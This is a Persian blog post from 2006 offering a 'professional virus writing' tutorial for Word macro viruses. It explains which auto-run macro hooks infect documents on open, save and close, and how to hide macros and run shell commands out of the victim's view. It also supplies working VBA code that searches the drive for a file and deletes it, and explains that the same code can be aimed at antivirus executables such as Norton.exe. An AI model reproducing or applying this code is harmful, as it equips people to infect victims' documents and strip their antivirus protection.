خداوند ـ عزّوجلّ ـ می فرماید : «ای محمّد! اگر آفریدگان به ساخته های شگفت من می نگریستند، جزمرا نمی پرستیدند و اگر شیرینی یاد مرا در دل هایشان می چشیدند، ملازم درگاه من می شدند و اگر به ظرائف نیکی های من می نگریستند، به چیزی جز من نمی پرداختند» . [رسول خدا صلی الله علیه و آله]

خوش آمدید به وبلاگ دانای ایرانی



 RSS 
خانه
شناسنامه
پارسی بلاگ
پست الکترونیک

:: کل بازدیدها ::
1982

:: بازدید امروز ::
1

:: موضوعات وبلاگ ::

:: اوقات شرعی ::

:: درباره من ::


:: لینک به وبلاگ ::

خوش آمدید به وبلاگ دانای ایرانی

:: دوستان من ::

:: اشتراک ::

نام:

ایمیل:

 

:: مطالب قبلی ::

:: موسیقی وبلاگ ::

:: جستجوی مطالب ::


+ 2 24/5/1385 ساعت: 11:41 صبح
 

آموزش ویروس نویسی حرفه ای


 


اینم یک مقاله برا دوستان علاقه مند در این زمینه !

=============================================
لینک های مقالات مرتبط با این موضوع :

http://forum.p30world.com/showthread.php?t=11821

http://forum.p30world.com/showthread.php?t=2038

http://forum.p30world.com/showthread.php?t=11821

http://forum.p30world.com/showthread.php?t=16095

http://forum.p30world.com/showthread.php?t=16245

(
با تشکر از mpsjavad ) :)
=============================================



ماکرو ویروس نوعی از ویروس ها بوده که از خانواده word استفاده می کنند که در اینجا ما از دو نوع 97 و 2000 استفاده می کنیم (توجه کنید که ورد 97 بسیار برای ماکرو ویروس نویسی مناسب می باشد) و همچنین از VB هم برای application ها استفاده میشود.
ماکرو ویروس ها خود را بک فایل Document یا template می چسباند و بعد از باز شدن آن توسط قربانی طبق تنظیمات موجود کامپیوتر را آلوده می نماید و آلودگی را بر روی template پیش فرض ذخیره و با باز شدن هر سند آن را نیز آلوده می نماید.

چند اصطلاح در مورد ویروس ها :
VX
افرادی که به جابجایی ویروس می پردازند
VCK
کیت های ساخت ویروس
AV
آنتی ویروس
Worm
برنامه های کامپیوتری که خود را کپی و منتشر می سازد.
Boot sector virus
ویروس هایی که بوت سکتور را آلوده و در زمان بوت شدن کامپیوتر به همراه دیگر برنامه ها اجرا میشوند.
Trojan
اجزه دسترسی از راه دور و بدون مجوز صاحب آن را به شما میدهد که به آنها RAT نیز گفته میشود.
File infector
خود را به فایلی متصل نموده و آن را آلوده می سازد ( معمولا فایل های exe, com,sys,batch)
Dropper
برنامه ویژهای که وظیفه قرار دادن ویروس بر روی کامپیوتر قربانی را دارد.
Stealth virus
ویروسی که عملکرد آن از دید قربانی پنهان میباشد.
Polymorphic
نوعی ویروس که تواننایی اصلاح را داراست و تشخیص را مشکل می سازد.
Fast infection
آلوده ساختن تمام پرونده های باز
Payload
مهمترین بخش ویروس که زمان اجرا پروسه مربوط به ویروس را تعیین میکند.
Tunneling Virus
ویروسی که مفسر ها را یافته و باز خوانی میکند.
ANSII bomb
وقتی یک کاراکتر یا یک سری از کاراکتر ها را فشار میدهیم آن زمان Payload ویروس آغاز به کار کرده و مطا بق آن شروع به کار میکند. (مثلا با فشار دادن اسپیس)
Resident Infection
ویروسی که خود را در RAM قرار میدهد.
BIS
آلودگی در بوت سکتور
TSR
ویروس فعالیت خود را پایان داده است اما هنوز دز کامپیوتر قربانی موجود میباشد.

مشاهده سورس یک ماکرو ویروس:
در اینجا شما طریقه یافتن و مشاهده ماکرو را یاد میگیرید.
برای یافنن یک ماکرو یم روش همان پیام خطا هنگام اجرا بوده و در صورتی که به شکل هیدن اجرا شود شما باید Normal.dot را پیدا کنید و اگر حجم آن بیش از 40 -50 kb باشد آن تغییر نموده و شما آلوده شده اید.) حجم این فایل در حالت عادی 26 k-27k می باشد.)
برای مشاهده سورس ماکر ویروس آن را بیابید سپس در ورد 97 یک Document را باز نموده سعی نمایید به VBA بروید در این حالت پنجره باز و هشداری با این مضمون را میدهد (هدف از این بخش فعال نمودن بخش محافظتی ورد در مقابل ماکرو ها و عدم اجرا آنها است)
Macro"s are in this document –
Disable?
البته ممکن است این مورد به صورت پیش فرض فعال شده باشد. سپس بر روی Yes کلیک کنید و حال میتوانید ویروس خود را بدون آلوده شدن مشاهده نمایید.

در این بخش در مورد دستور ها و یکی از روش های چهار گانه مخفی سازی صحبت میکنیم.
طریقه کد نویسی:
در بخش زیر دستورات لازمه را برای شما بیان میکنم:
Document_Open()
دستور آلوده ساختن document در هنگام باز شدن می باشد.
Document_New()
دستور آلوده ساختن هر پرونده جدید می باشد.
Document_Close()
دستور آلوده ساختن هر پرونده در زمانی که آن بسته میشود.
FileSaveAs()
دستور آلوده ساختن پرونده در هنگامSaveAs میباشد.
FileSave()
دستور الوده سازی پرونده در هنگام Save میباشد.
ToolsSpelling()
دستور الوده سازی به هنگام چک کردن spell میباشد.
ToolsGrammar()
دستور آلوده ساختن در هنگام چک کردن گرامر می باشد.
AutoExec()
دستور الوده ساختن هنگامی که پرونده باز است (مخصوصا برای template )
AutoExit
دستور آلوده ساختن هنگامی که پرونده بسته میباشد (مخصوصا برای template)
ViewVBCode()
این دستور و دو دستور زیر هر سه در جهت پنهان سازی به کار میروند.
ToolsMacro()
FileTemplates().
Shell "command.com /whatever you want", vbHide
این دستور در داس اجرا و دستور vbHide پنجره داس را پنهان نموده و قربانی از اتفاق افتاده اطلاعی نمییابد.
به طور مثال در Shell "command.com /c ftp.exe", vbHide اف تی پی برای پنهان کردن عملیات مورد استفاده قرار گرافته است.

در بخش بالا یک سری از دستورات مورد استفاده در ماکرو ویروس نویسی را مشاهده کردید فقط توجه کنید که در آغاز باید از sub استفاده کنید و در انتها هم از End Sub استفاده کنید.
به مثال زیر توجه نمایید:
Sub Document_New()
msgbox "x11011110x"
End Sub
آنرا در VBA خود قرار دهید ماکرو را اجرا کنید سپس یک document ایجاد نمایید و مشاهده می کنید که یک پنجره جدید پدیدار میشود.
ضمنا میتوانید از دستور On Error Resume Next نیز استفاده کنید تا در هنگام ایجاد خطا به کار خود ادامه دهد.
یک فایل را باز نموده و برای تمربن بیشتر مثال زیر را می نویسیم
Sub Document_Open()
On Error Resume Next
همیشه در ابتدای ساب این مورد را استفاده کنید.
Open "C:\xde.txt" For Output As #1
این دستور یم فایلی به نام xde.txt را در داریو سی ایجاد یا باز می نماید.
Print #1, "x11011110x"
این دستور x11011110x را در فایل xde.txt قرار میدهد.
Close #1
این دستور فایل های بازشده قبلی را برای شما میبندد.
Msgbox "File Written to"
این پیام را برای شما به نمایش میگذارد.

تکنیک های پنهان سازی:
برای این کار روش های متفاوتی وجود دارد که من 4 روش را برای شما توضیح میدهم:

1.
پاک کردن آنتی ویروس
همه ی ما با آنها آ شنا هستیم در این بخش هدف ما یافتن راهی برای از کار انداختن آنتی ویروس ها است. برای این کار باید فایل .exe مربوط به آنتی ویروس را بیابیم و آنرا پاک کنیم و بعد از آن محیط کار ما مساعد میشود. اما مشکلی اساسی را در پیش روی خود داریم در اکثر موارد تنظیمات را به شکلی تنظیم میکنیم که اگر آنتی ویروس در مسیر پیش فرض نصب شده باشد در آن صورت آن را از کار می اندازد و اگر در مسیر دیگر باشد کاری انجام نمیدهد پس باید یک موتور جستجو گر را در ویروس تعبیه کنیم که فایل مربوطه را یافته و نابود سازد.

Sub Mainz()
Set Fs = Application.FileSearch
این دستور Fs یه عنوان فیل جستجو گر Application قرار میدهد.
es$ = "xdez.txt"
این دستور es$ را برای xdez.txt تعریف می نماید.
.LookIn = "C:\"
این دستور فایل یا درایو را معین می سازد.
.SearchSubFolders = True
این دستور میگوید که کل فایل یا درایو را جستجو نماید.
.FileName = es$
این دستور فایل نیم دنبا ل es$ میگرد.
If .Execute > 0 Then
اگر پیدا گشت دستورات زیر را اجرا کن.
MsgBox "File Found"
این دستور در پیامی پیدا شده فایل را اطلاع میدهد.
Set ds = CreateObject("Scripting.FileSystemObject")
این دستور شی FSO را ایجاد می نماید.
Set fy = ds.GetFile(es$)
این دستور اجازه میدهد که مسیر فایل را به دست آوریم
h = (fy.Path)
این دستور به مسیر فایل یک متغیر را نسبت میدهد.
SetAttr h, vbNormal
ویژگی فایل را به شکل نرمال قرار میدهد.
Kill (h)
این دستور فایل را پاک می کند.
MsgBox "File Illimenated"
این دستور شما را از پاک شدن آگاه می سازد.
Else
MsgBox "File was not found."
این دستور میگوید که فایل پیدا نشد
End If
End With
End Sub

شاید در بخش بالا یک سری مطالب برای شما گیج کننده باشد که سعی میکنم یک سری از مطالب گیج کننده را برای شما باز کنم.
شاید در نگاه اول مثلا سوال کنید که برای متغیر نام Fy را در نظر گرفتم علت این برای مشکل نمودن تشخصی توسط انتی ویروس می باشد.
Set ds = CreateObject("Scripting. ")
این خط اجازه پیدا نمودن مسیر فایل و ایجاد یک FileSystemObject را برای استفاده در ماکرو به شما می دهد.
Set fy = ds.GetFile(es$)
این خط دستور را مشاهده میکنید که در واقع همانند File Operator.GetFile(filespec) کار میکند که در این مورد File Operator تعریف شده در ds و داریم ds.GetFile(filespec) since و file spec تعریف گشته در es$ و درشکل کلی به
Set fy = ds.GetFile(es$)
می رسیم.
خط بعدی دستور h = (fy.Path) میباشد . این دستور h را در مسیر فایل ما قرار میدهد (مثلا . C:\My Documents\xdez.txt)
SetAttr h, vbNormal
این دستور یک ویژگی را به فایل میدهد و آن هم اینست که آن را به صفت نرمال را نسبت می دهد و آن را قابل پاک نمودن میکند.
Kill (h)
که به زبان دیگر به شکل Kill ("C:\My Documents\xdez.txt") و تمام چیز هایی را که در مسیر بیابد پاک مینماید.

در بخش زیر دستورات را بدون توضیحات مربوط به دیباگ مشا هده میکنید.
Sub Mainz()
On Error Resume Next
Set Fs = Application.FileSearch
es$ = "xdez.txt"
With Fs
.LookIn = "C:\"
.SearchSubFolders = True
.FileName = es$
If .Execute > 0 Then
Set ds = CreateObject("Scripting.FileSystemObject")
Set fy = ds.GetFile(es$)
h = (fy.Path)
SetAttr h, vbNormal
Kill (h)
Else
End If
End With
End Sub

خوب اگر حواس شما جمع باشد باید متوجه یک تغییر باشید و آن هم On Error Resume Next است که باید همیشه در نوشتن ماکرو ویروس ها از آن استفاده کنید این دستور به راحتی تمام Error ها را توجه نکرده و به خط بعد دستوری رفته و به کار خود ادمه میدهد.
در این بخش تنها یک نکته باقی ماند و آن هم پاک کردن آنتی ویروس از طریق دستور برای امتحان آنتی ویروس نصب کنید و به جای es$ در es$ ="xdez.txt" باید به طور مثال Norton.exe که به شکل زیر میرسیم:
es$ = "Norton.exe"

یک مساله دیگر اینکه شما با ساختن یک اسکریپت می توانید autoexec.bat را باز کنید و چک کنید.bat تا متوجه گردید آیا پس از پاک شدن اولیه دوباره آنتی ویروس نصب شده است و در صورت نصب دوباره آن را پاک کنید.

ادامه در پست بعدی....


نوشته شده توسط: علی

نوشته های دیگران ( )

+ 1 24/5/1385 ساعت: 11:40 صبح